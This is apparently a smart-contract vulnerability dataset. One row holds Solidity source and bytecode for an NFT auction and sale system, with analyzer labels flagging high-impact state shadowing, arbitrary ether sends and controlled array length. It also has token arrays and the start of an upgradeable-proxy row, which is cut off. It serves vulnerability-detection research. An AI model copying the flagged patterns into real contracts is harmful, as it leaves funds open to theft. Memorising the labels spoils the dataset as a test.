bytes(token.toString()), bytes(". tokenId: "), bytes(tokenId.toString()), bytes(". price: "), bytes(price.toString()), bytes(". nonce: "), bytes(nonce.toString()) ) ); if (fee != 0) { return result.append(". fee: ", fee.toString()); } else { return result; } } function strConcat( bytes memory _ba, bytes memory _bb, bytes memory _bc, bytes memory _bd, bytes memory _be, bytes memory _bf, bytes memory _bg ) internal pure returns (bytes memory) { bytes memory resultBytes = new bytes( _ba.length + _bb.length + _bc.length + _bd.length + _be.length + _bf.length + _bg.length ); uint256 k = 0; for (uint256 i = 0; i < _ba.length; i++) resultBytes[k++] = _ba[i]; for (uint256 i = 0; i < _bb.length; i++) resultBytes[k++] = _bb[i]; for (uint256 i = 0; i < _bc.length; i++) resultBytes[k++] = _bc[i]; for (uint256 i = 0; i < _bd.length; i++) resultBytes[k++] = _bd[i]; for (uint256 i = 0; i < _be.length; i++) resultBytes[k++] = _be[i]; for (uint256 i = 0; i < _bf.length; i++) resultBytes[k++] = _bf[i]; for (uint256 i = 0; i < _bg.length; i++) resultBytes[k++] = _bg[i]; return resultBytes; } function transferEther( IERC165 token, uint256 tokenId, address payable owner, uint256 total, uint256 sellerFee ) internal { uint256 value = transferFeeToBeneficiary(total, sellerFee); if (token.supportsInterface(_INTERFACE_ID_FEES)) { HasSecondarySaleFees withFees = HasSecondarySaleFees(address(token)); address payable[] memory recipients = withFees.getFeeRecipients(tokenId); uint256[] memory fees = withFees.getFeeBps(tokenId); require(fees.length == recipients.length); for (uint256 i = 0; i < fees.length; i++) { (uint256 newValue, uint256 current) = subFee( value, total.mul(fees[i]).div(maxBuyerFeePercentage) ); value = newValue; recipients[i].transfer(current); } } owner.transfer(value); } function transferFeeToBeneficiary(uint256 total, uint256 sellerFee) internal returns (uint256) { (uint256 value, uint256 sellerFeeValue) = subFee(total, total.mul(sellerFee).div(maxBuyerFeePercentage)); uint256 buyerFeeValue = total.mul(buyerFee).div(maxBuyerFeePercentage); uint256 beneficiaryFee = buyerFeeValue.add(sellerFeeValue); if (beneficiaryFee > 0) { beneficiary.transfer(beneficiaryFee); } return value; } function subFee(uint256 value, uint256 fee) internal pure returns (uint256 newValue, uint256 realFee) { if (value > fee) { newValue = value - fee; realFee = fee; } else { newValue = 0; realFee = value; } } } /** @title ERC-1155 Multi Token Standard @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1155.md Note: The ERC-165 identifier for this interface is 0xd9b67a26. */ contract IERC1155 is IERC165 { /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_id` argument MUST be the token type being transferred. The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferSingle( address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value ); /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_ids` argument MUST be the list of tokens being transferred. The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferBatch( address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values ); /** @dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled). */ event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); /** @dev MUST emit when the URI is updated for a token ID. URIs are defined in RFC 3986. The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema". */ event URI(string _value, uint256 indexed _id); /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom( address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data ) external; /** @notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if length of `_ids` is not the same as length of `_values`. MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient. MUST revert on any other error. MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard). Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc). After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _ids IDs of each token type (order and length must match _values array) @param _values Transfer amounts per token type (order and length must match _ids array) @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to` */ function safeBatchTransferFrom( address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data ) external; /** @notice Get the balance of an account's Tokens. @param _owner The address of the token holder @param _id ID of the Token @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); /** @notice Get the balance of multiple account/token pairs @param _owners The addresses of the token holders @param _ids ID of the Tokens @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); /** @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. @dev MUST emit the ApprovalForAll event on success. @param _operator Address to add to the set of authorized operators @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** @notice Queries the approval status of an operator for a given owner. @param _owner The owner of the Tokens @param _operator Address of authorized operator @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) external view returns (bool); } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping(address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract OperatorRole is Context { using Roles for Roles.Role; event OperatorAdded(address indexed account); event OperatorRemoved(address indexed account); Roles.Role private _operators; constructor() internal {} modifier onlyOperator() { require( isOperator(_msgSender()), "OperatorRole: caller does not have the Operator role" ); _; } function isOperator(address account) public view returns (bool) { return _operators.has(account); } function _addOperator(address account) internal { _operators.add(account); emit OperatorAdded(account); } function _removeOperator(address account) internal { _operators.remove(account); emit OperatorRemoved(account); } } contract OwnableOperatorRole is Ownable, OperatorRole { function addOperator(address account) public onlyOwner { _addOperator(account); } function removeOperator(address account) public onlyOwner { _removeOperator(account); } } contract TransferProxy is OwnableOperatorRole { function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) external onlyOperator { token.safeTransferFrom(from, to, tokenId); } function erc1155safeTransferFrom( IERC1155 token, address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data ) external onlyOperator { token.safeTransferFrom(_from, _to, _id, _value, _data); } } contract IERC721Sale { function getNonce(IERC721 token, uint256 tokenId) public view returns (uint256); } contract ERC721SaleNonceHolder is OwnableOperatorRole { mapping(bytes32 => uint256) public nonces; IERC721Sale public previous; constructor(IERC721Sale _previous) public { previous = _previous; } function getNonce(IERC721 token, uint256 tokenId) public view returns (uint256) { uint256 newNonce = nonces[getPositionKey(token, tokenId)]; if (newNonce != 0) { return newNonce; } if (address(previous) == address(0x0)) { return 0; } return previous.getNonce(token, tokenId); } function setNonce( IERC721 token, uint256 tokenId, uint256 nonce ) public onlyOperator { nonces[getPositionKey(token, tokenId)] = nonce; } function getPositionKey(IERC721 token, uint256 tokenId) public pure returns (bytes32) { return keccak256(abi.encodePacked(token, tokenId)); } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract AuctionERC20TransferProxy is OwnableOperatorRole { function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator { require(token.transferFrom(from, to, value), "failure while transferring"); } function userBalance(IERC20 token, address user) external view returns(uint256) { return token.balanceOf(user); } } contract AuctionERC721SaleNonceHolder is OwnableOperatorRole { mapping(bytes32 => uint256) public nonces; function getNonce(IERC721 token, uint256 tokenId) view public returns (uint256) { uint256 newNonce = nonces[getPositionKey(token, tokenId)]; if (newNonce != 0) { return newNonce; } return 0; } function setNonce(IERC721 token, uint256 tokenId, uint256 nonce) public onlyOperator { nonces[getPositionKey(token, tokenId)] = nonce; } function getPositionKey(IERC721 token, uint256 tokenId) pure public returns (bytes32) { return keccak256(abi.encodePacked(token, tokenId)); } } interface ERC721TokenInter { function getFeeBps(uint256) external view returns (uint256[] memory); function getFeeRecipients(uint256) external view returns (address[] memory); } contract AuctionERC721 is Ownable, IERC721Receiver, AbstractSale { using AddressLibrary for address; using UintLibrary for uint256; using StringLibrary for string; uint256 private constant maxBuyerFeePercentage = 10000; event AuctionClosed( address indexed token, uint256 indexed tokenId, address seller, address buyer, address erc20Token, uint256 price, uint256 nonce ); event CancelAuction( address indexed token, uint256 indexed tokenId, address seller, uint256 nonce ); // To Transfer NFT TransferProxy public transferProxy; // To Transfer ERC20 AuctionERC20TransferProxy public erc20TransferProxy; // Auction Nonce Holder AuctionERC721SaleNonceHolder public nonceHolder; constructor(TransferProxy _transferProxy, AuctionERC20TransferProxy _erc20TransferProxy, AuctionERC721SaleNonceHolder _nonceHolder, address payable beneficiary) public AbstractSale(beneficiary) { transferProxy = _transferProxy; erc20TransferProxy = _erc20TransferProxy; nonceHolder = _nonceHolder; } struct Asset { address token; uint256 assetTokenId; } struct Trade { address payable seller; address payable buyer; uint256 reservedPrice; uint256 offeredPrice; address erc20Token; uint256 sellerFee; string auctionStart; string auctionEnd; } struct BuyerSig { uint8 v; bytes32 r; bytes32 s; } struct SystemSig { uint8 v; bytes32 r; bytes32 s; } function closeAuction(Asset memory asset, Trade memory trade, BuyerSig memory buyerSig, SystemSig memory systemSig) public payable { // Check if the called is the owner of NFT address payable seller = address(uint160(IERC721(asset.token).ownerOf(asset.assetTokenId))); require(seller == msg.sender, "NFT owner is not a seller"); // Check if the Auction reached reserved price require(trade.offeredPrice >= trade.reservedPrice, "Reserved Price haven't met"); // get Nonce of token uint256 nonce = nonceHolder.getNonce(IERC721(asset.token), asset.assetTokenId); // Validate Trade Value of Buyer & Balance of Buyer require(validateTradeValue(trade.offeredPrice, IERC20(trade.erc20Token), trade.buyer), "Buyer don't have enough balance"); // Verify Bidder Order address isBuyer = StringLibrary.getAddress(abi.encodePacked(IERC721(asset.token), asset.assetTokenId, msg.sender, trade.buyer, IERC20(trade.erc20Token), trade.offeredPrice, trade.auctionStart, trade.auctionEnd, nonce), buyerSig.v, buyerSig.r, buyerSig.s); require(trade.buyer == isBuyer, "bidder should sign correct message"); // Verify System Signer Order address isSystemSigner = StringLibrary.getAddress(abi.encodePacked(IERC721(asset.token), asset.assetTokenId, msg.sender, trade.buyer, IERC20(trade.erc20Token), trade.offeredPrice, trade.auctionStart, trade.auctionEnd, nonce), systemSig.v, systemSig.r, systemSig.s); require(owner() == isSystemSigner, "system signer should sign correct message"); // Transfer NFT transferERC721NFT(IERC721(asset.token), trade.buyer, asset.assetTokenId); uint256 offeredPrice = trade.offeredPrice; uint256 sellerFeeToSlash = transferERC20FeeToBeneficiary(offeredPrice, trade.sellerFee, trade.erc20Token, trade.buyer); // Transfer Createor Royalty to Creator uint256 creatorFee = getCreatorFee(asset.token, asset.assetTokenId); address creator = getCreator(asset.token, asset.assetTokenId); uint256 creatorSlash = offeredPrice.mul(creatorFee).div(maxBuyerFeePercentage); erc20TransferProxy.erc20safeTransferFrom(IERC20(trade.erc20Token), trade.buyer, creator, creatorSlash); // Transfer Seller uint256 sellerSlash = offeredPrice.sub(creatorSlash).sub(sellerFeeToSlash); erc20TransferProxy.erc20safeTransferFrom(IERC20(trade.erc20Token), trade.buyer, msg.sender, sellerSlash); // Increases the nonce changeNonce(asset.token, asset.assetTokenId, nonce); emitAuction(asset, trade, trade.buyer, nonce + 1); } function transferERC20FeeToBeneficiary(uint256 price, uint256 sellerFee, address erc20Token, address buyer) internal returns (uint256) { // Transfer PlatformBuyerFee to Beneficiary uint256 platformBuyerFee = price.mul(buyerFee).div(maxBuyerFeePercentage); erc20TransferProxy.erc20safeTransferFrom(IERC20(erc20Token), buyer, beneficiary, platformBuyerFee); // Transfer PlatformSellerFee to Beneficiary uint256 platformSellerFee = price.mul(sellerFee).div(maxBuyerFeePercentage); if(sellerFee > 0) { erc20TransferProxy.erc20safeTransferFrom(IERC20(erc20Token), buyer, beneficiary, platformSellerFee); } return platformSellerFee; } function changeNonce(address token, uint256 tokenId, uint256 nonce) internal { nonceHolder.setNonce(IERC721(token), tokenId, nonce+1); } function emitAuction(Asset memory asset, Trade memory trade, address buyer, uint256 nonce) internal { emit AuctionClosed(address(asset.token), asset.assetTokenId, msg.sender, buyer, address(trade.erc20Token), trade.offeredPrice, nonce); } function validateTradeValue(uint256 offeredPrice, IERC20 erc20Token, address buyer) internal view returns (bool) { uint256 priceWithBuyerFee = offeredPrice.mul(buyerFee); uint256 buyerFeeValue = priceWithBuyerFee.div(maxBuyerFeePercentage); uint256 totalTradeValue = offeredPrice.add(buyerFeeValue); uint256 buyerErc20TokenBalance = erc20TransferProxy.userBalance(erc20Token, buyer); return buyerErc20TokenBalance >= totalTradeValue; } function transferERC721NFT(IERC721 token, address buyer, uint256 tokenId) internal { transferProxy.erc721safeTransferFrom(token, msg.sender, buyer, tokenId); } function getCreatorFee(address erc721Adddress, uint256 tokenId) internal view returns (uint256) { uint256[] memory fees = ERC721TokenInter(erc721Adddress).getFeeBps(tokenId); return fees[0]; } function getCreator(address erc721Adddress, uint256 tokenId) internal view returns (address) { address[] memory creators = ERC721TokenInter(erc721Adddress).getFeeRecipients(tokenId); return creators[0]; } function cancelAuction(IERC721 token, uint256 tokenId) public { address owner = token.ownerOf(tokenId); require(owner == msg.sender, "not an owner"); uint256 nonce = nonceHolder.getNonce(token, tokenId) + 1; nonceHolder.setNonce(token, tokenId, nonce); emit CancelAuction(address(token), tokenId, owner, nonce); } function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) { return this.onERC721Received.selector; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80639870d7fe116100715780639870d7fe1461011e5780639e317f1214610131578063ac8a584a14610144578063dd68c1e214610157578063e330a9351461016a578063f2fde38b1461017d576100a9565b80636d70f7ae146100ae578063715018a6146100d757806389535803146100e15780638da5cb5b146101015780638f32d59b14610116575b600080fd5b6100c16100bc3660046105bb565b610190565b6040516100ce9190610894565b60405180910390f35b6100df6101a9565b005b6100f46100ef3660046105ff565b610220565b6040516100ce91906108a2565b61010961025b565b6040516100ce9190610886565b6100c161026a565b6100df61012c3660046105bb565b61028e565b6100f461013f3660046105e1565b6102be565b6100df6101523660046105bb565b6102d0565b6100f46101653660046105ff565b6102fd565b6100df610178366004610639565b610330565b6100df61018b3660046105bb565b61037c565b60006101a360018363ffffffff6103a916565b92915050565b6101b161026a565b6101d65760405162461bcd60e51b81526004016101cd906108f0565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000806002600061023186866102fd565b8152602001908152602001600020549050806000146102515790506101a3565b5060009392505050565b6000546001600160a01b031690565b600080546001600160a01b031661027f6103f1565b6001600160a01b031614905090565b61029661026a565b6102b25760405162461bcd60e51b81526004016101cd906108f0565b6102bb816103f5565b50565b60026020526000908152604090205481565b6102d861026a565b6102f45760405162461bcd60e51b81526004016101cd906108f0565b6102bb8161043d565b60008282604051602001610312929190610860565b60405160208183030381529060405280519060200120905092915050565b61033b6100bc6103f1565b6103575760405162461bcd60e51b81526004016101cd906108d0565b806002600061036686866102fd565b8152602081019190915260400160002055505050565b61038461026a565b6103a05760405162461bcd60e51b81526004016101cd906108f0565b6102bb81610485565b60006001600160a01b0382166103d15760405162461bcd60e51b81526004016101cd90610900565b506001600160a01b03166000908152602091909152604090205460ff1690565b3390565b61040660018263ffffffff61050616565b6040516001600160a01b038216907fac6fa858e9350a46cec16539926e0fde25b7629f84b5a72bffaae4df888ae86d90600090a250565b61044e60018263ffffffff61055216565b6040516001600160a01b038216907f80c0b871b97b595b16a7741c1b06fed0c6f6f558639f18ccbce50724325dc40d90600090a250565b6001600160a01b0381166104ab5760405162461bcd60e51b81526004016101cd906108c0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61051082826103a9565b1561052d5760405162461bcd60e51b81526004016101cd906108b0565b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b61055c82826103a9565b6105785760405162461bcd60e51b81526004016101cd906108e0565b6001600160a01b0316600090815260209190915260409020805460ff19169055565b80356101a381610955565b80356101a381610969565b80356101a381610972565b6000602082840312156105cd57600080fd5b60006105d9848461059a565b949350505050565b6000602082840312156105f357600080fd5b60006105d984846105a5565b6000806040838503121561061257600080fd5b600061061e85856105b0565b925050602061062f858286016105a5565b9150509250929050565b60008060006060848603121561064e57600080fd5b600061065a86866105b0565b935050602061066b868287016105a5565b925050604061067c868287016105a5565b9150509250925092565b61068f81610919565b82525050565b61068f81610924565b61068f81610929565b61068f6106b38261092c565b610943565b60006106c5601f83610910565b7f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500815260200192915050565b60006106fe602683610910565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526564647265737360d01b602082015260400192915050565b6000610746603483610910565b7f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861815273766520746865204f70657261746f7220726f6c6560601b602082015260400192915050565b600061079c602183610910565b7f526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c8152606560f81b602082015260400192915050565b60006107df602083610910565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572815260200192915050565b6000610818602283610910565b7f526f6c65733a206163636f756e7420697320746865207a65726f206164647265815261737360f01b602082015260400192915050565b61068f61085b82610929565b610929565b600061086c82856106a7565b60148201915061087c828461084f565b5060200192915050565b602081016101a38284610686565b602081016101a38284610695565b602081016101a3828461069e565b602080825281016101a3816106b8565b602080825281016101a3816106f1565b602080825281016101a381610739565b602080825281016101a38161078f565b602080825281016101a3816107d2565b602080825281016101a38161080b565b90815260200190565b60006101a382610937565b151590565b90565b60006101a382610919565b6001600160a01b031690565b60006101a38260006101a38260601b90565b61095e81610919565b81146102bb57600080fd5b61095e81610929565b61095e8161092c56fea365627a7a72315820f6f0dbd04a802327961623722aa80a6bace0ffcd2768d28605166e7bba7c72726c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 4783, 2487, 29292, 10790, 2497, 2549, 2094, 28756, 2094, 2692, 2546, 2581, 2546, 2581, 2575, 2546, 2683, 2575, 19481, 2063, 2487, 2063, 21619, 2683, 2575, 2581, 26187, 2475, 2050, 26976, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1032, 1013, 1064, 1006, 1006, 1013, 1064, 1032, 1035, 1035, 1035, 1035, 1013, 1006, 1035, 1035, 1035, 1007, 1064, 1032, 1013, 1064, 1006, 1035, 1035, 1035, 1035, 1032, 1064, 1007, 1006, 1064, 1064, 1032, 1006, 1064, 1007, 1006, 1064, 1006, 1007, 1064, 1064, 1007, 1006, 1064, 1064, 1006, 1032, 1013, 1064, 1064, 1064, 1064, 1064, 1032, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,810
0x95be1e23db4dc0a4b2fa0ab3d0f3e22e66b57210
// SPDX-License-Identifier: MIT // solhint-disable const-name-snakecase pragma solidity 0.6.10; /** * @title OwnedUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with basic authorization control functionalities */ contract OwnedUpgradeabilityProxy { /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event ProxyOwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Event to show ownership transfer is pending * @param currentOwner representing the address of the current owner * @param pendingOwner representing the address of the pending owner */ event NewPendingOwner(address currentOwner, address pendingOwner); // Storage position of the owner and pendingOwner of the contract bytes32 private constant proxyOwnerPosition = 0x6279e8199720cf3557ecd8b58d667c8edc486bd1cf3ad59ea9ebdfcae0d0dfac; //keccak256("trueUSD.proxy.owner"); bytes32 private constant pendingProxyOwnerPosition = 0x8ddbac328deee8d986ec3a7b933a196f96986cb4ee030d86cc56431c728b83f4; //keccak256("trueUSD.pending.proxy.owner"); /** * @dev the constructor sets the original owner of the contract to the sender account. */ constructor() public { _setUpgradeabilityOwner(msg.sender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyProxyOwner() { require(msg.sender == proxyOwner(), "only Proxy Owner"); _; } /** * @dev Throws if called by any account other than the pending owner. */ modifier onlyPendingProxyOwner() { require(msg.sender == pendingProxyOwner(), "only pending Proxy Owner"); _; } /** * @dev Tells the address of the owner * @return owner the address of the owner */ function proxyOwner() public view returns (address owner) { bytes32 position = proxyOwnerPosition; assembly { owner := sload(position) } } /** * @dev Tells the address of the owner * @return pendingOwner the address of the pending owner */ function pendingProxyOwner() public view returns (address pendingOwner) { bytes32 position = pendingProxyOwnerPosition; assembly { pendingOwner := sload(position) } } /** * @dev Sets the address of the owner */ function _setUpgradeabilityOwner(address newProxyOwner) internal { bytes32 position = proxyOwnerPosition; assembly { sstore(position, newProxyOwner) } } /** * @dev Sets the address of the owner */ function _setPendingUpgradeabilityOwner(address newPendingProxyOwner) internal { bytes32 position = pendingProxyOwnerPosition; assembly { sstore(position, newPendingProxyOwner) } } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. *changes the pending owner to newOwner. But doesn't actually transfer * @param newOwner The address to transfer ownership to. */ function transferProxyOwnership(address newOwner) external onlyProxyOwner { require(newOwner != address(0)); _setPendingUpgradeabilityOwner(newOwner); emit NewPendingOwner(proxyOwner(), newOwner); } /** * @dev Allows the pendingOwner to claim ownership of the proxy */ function claimProxyOwnership() external onlyPendingProxyOwner { emit ProxyOwnershipTransferred(proxyOwner(), pendingProxyOwner()); _setUpgradeabilityOwner(pendingProxyOwner()); _setPendingUpgradeabilityOwner(address(0)); } /** * @dev Allows the proxy owner to upgrade the current version of the proxy. * @param implementation representing the address of the new implementation to be set. */ function upgradeTo(address implementation) public virtual onlyProxyOwner { address currentImplementation; bytes32 position = implementationPosition; assembly { currentImplementation := sload(position) } require(currentImplementation != implementation); assembly { sstore(position, implementation) } emit Upgraded(implementation); } /** * @dev This event will be emitted every time the implementation gets upgraded * @param implementation representing the address of the upgraded implementation */ event Upgraded(address indexed implementation); // Storage position of the address of the current implementation bytes32 private constant implementationPosition = 0x6e41e0fbe643dfdb6043698bf865aada82dc46b953f754a3468eaa272a362dc7; //keccak256("trueUSD.proxy.implementation"); function implementation() public view returns (address impl) { bytes32 position = implementationPosition; assembly { impl := sload(position) } } /** * @dev Fallback functions allowing to perform a delegatecall to the given implementation. * This function will return whatever the implementation call returns */ fallback() external payable { proxyCall(); } receive() external payable { proxyCall(); } function proxyCall() internal { bytes32 position = implementationPosition; assembly { let ptr := mload(0x40) calldatacopy(ptr, returndatasize(), calldatasize()) let result := delegatecall(gas(), sload(position), ptr, calldatasize(), returndatasize(), returndatasize()) returndatacopy(ptr, 0, returndatasize()) switch result case 0 { revert(ptr, returndatasize()) } default { return(ptr, returndatasize()) } } } }
0x6080604052600436106100695760003560e01c80635c60da1b116100435780635c60da1b146101135780639965b3d614610128578063f1739cae1461013d57610078565b8063025313a2146100805780630add8140146100be5780633659cfe6146100d357610078565b366100785761007661017d565b005b61007661017d565b34801561008c57600080fd5b506100956101c2565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156100ca57600080fd5b506100956101e7565b3480156100df57600080fd5b50610076600480360360208110156100f657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661020c565b34801561011f57600080fd5b50610095610340565b34801561013457600080fd5b50610076610365565b34801561014957600080fd5b506100766004803603602081101561016057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661048a565b6040517f6e41e0fbe643dfdb6043698bf865aada82dc46b953f754a3468eaa272a362dc790363d82373d3d368385545af43d6000833e8080156101be573d83f35b3d83fd5b7f6279e8199720cf3557ecd8b58d667c8edc486bd1cf3ad59ea9ebdfcae0d0dfac5490565b7f8ddbac328deee8d986ec3a7b933a196f96986cb4ee030d86cc56431c728b83f45490565b6102146101c2565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102ad57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f6f6e6c792050726f7879204f776e657200000000000000000000000000000000604482015290519081900360640190fd5b7f6e41e0fbe643dfdb6043698bf865aada82dc46b953f754a3468eaa272a362dc780549073ffffffffffffffffffffffffffffffffffffffff80831690841614156102f757600080fd5b82815560405173ffffffffffffffffffffffffffffffffffffffff8416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a2505050565b7f6e41e0fbe643dfdb6043698bf865aada82dc46b953f754a3468eaa272a362dc75490565b61036d6101e7565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461040657604080517f08c379a00000000000000000000000000000000000000